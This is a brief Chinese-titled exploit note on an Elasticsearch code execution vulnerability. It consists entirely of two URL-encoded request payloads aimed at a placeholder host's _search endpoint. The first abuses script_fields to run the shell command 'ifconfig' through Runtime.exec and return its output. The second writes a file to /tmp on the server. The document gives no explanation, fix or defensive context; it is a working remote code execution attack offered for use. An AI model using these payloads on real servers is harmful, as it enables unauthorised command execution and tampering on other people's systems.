Elasticsearch 代码执行漏洞

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}